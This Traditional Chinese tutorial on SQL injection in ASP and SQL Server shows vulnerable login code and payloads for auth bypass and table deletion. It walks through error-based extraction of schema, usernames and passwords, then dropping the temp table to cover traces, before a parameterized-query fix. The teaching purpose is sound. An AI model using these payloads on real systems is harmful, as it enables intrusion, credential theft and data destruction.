SQL 注入發生於應用程式未正確過濾使用者輸入,直接拼接進 SQL 陳述式,導致惡意輸入改變查詢語意。本文以 ASP + SQL Server 為例,示範進階攻擊手法與防禦核心觀念。
-- 易受攻擊程式碼 (ASP JScript)
var sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
rso.open(sql, cn);
| 輸入欄位 | 惡意輸入 | 產生 SQL 片段 | 結果 |
|---|---|---|---|
| Username | '; DROP TABLE users-- | username = ''; DROP TABLE users--' | 刪除 users 表 |
| Username | admin'-- | username = 'admin'--' | 繞過密碼以 admin 登入 |
| Username | ' OR 1=1-- | username = '' OR 1=1--' | 以第一筆使用者登入 |
| Username | ' UNION SELECT 1,'hacker','pwd',1-- | 注入虛構使用者 | 以虛構帳號登入 |
關鍵字元:' 閉合字串、; 結束陳述式、-- 註解剩餘 SQL。
當應用程式回顯詳細資料庫錯誤 (預設 ASP 行為) 時,攻擊者可透過精心構造的查詢,從錯誤訊息中「讀取」資料。
-- 輸入:' HAVING 1=1--
-- 錯誤:Column 'users.id' is invalid in the select list...
-- 推得:表 users、欄位 id
-- 輸入:' GROUP BY users.id HAVING 1=1--
-- 錯誤:Column 'users.username' is invalid...
-- 推得:欄位 username
-- 依此類推 GROUP BY users.id, users.username, users.password, users.privs
-- 不再報錯 → 確認完整欄位清單
-- 輸入:' UNION SELECT SUM(username) FROM users--
-- 錯誤:The sum or average aggregate operation cannot take a varchar data type...
-- 判斷:username 為 varchar
-- 輸入:' UNION SELECT SUM(id) FROM users--
-- 錯誤:All queries in a SQL statement containing a UNION operator must have an equal number of expressions...
-- 判斷:id 為數值型 (int)
-- 讀取 @@version
' UNION SELECT @@version,1,1,1--
-- 錯誤:Syntax error converting the nvarchar value 'Microsoft SQL Server 2000...' to a column of data type int.
-- 直接在錯誤訊息中獲得版本資訊
-- 讀取使用者帳號
' UNION SELECT MIN(username),1,1,1 FROM users WHERE username > 'a'--
-- 錯誤:...converting the varchar value 'admin' to a column of data type int.
-- 獲得第一個帳號 'admin'
-- 遞迴取得所有帳號
' UNION SELECT MIN(username),1,1,1 FROM users WHERE username > 'admin'--
-- 獲得 'chris'、'fred'...
-- 建立暫存表收集帳密字串
'; BEGIN DECLARE @ret VARCHAR(8000); SET @ret=':';
SELECT @ret = @ret + ' ' + username + '/' + password FROM users WHERE username > @ret;
SELECT @ret AS ret INTO foo; END--
-- 讀取暫存表
' UNION SELECT ret,1,1,1 FROM foo--
-- 清除痕跡
'; DROP TABLE foo--
cmd.CommandText = "SELECT * FROM users WHERE username = @u AND password = @p";
cmd.Parameters.Add("@u", username); cmd.Parameters.Add("@p", password);SQL 注入並非資料庫缺陷,而是應用層拼接字串的必然結果。參數化查詢是唯一根本解法;錯誤訊息隱藏、最小權限、WAF 為纵深防禦層。開發者必須建立「所有外部輸入皆不可信」的防禦思維。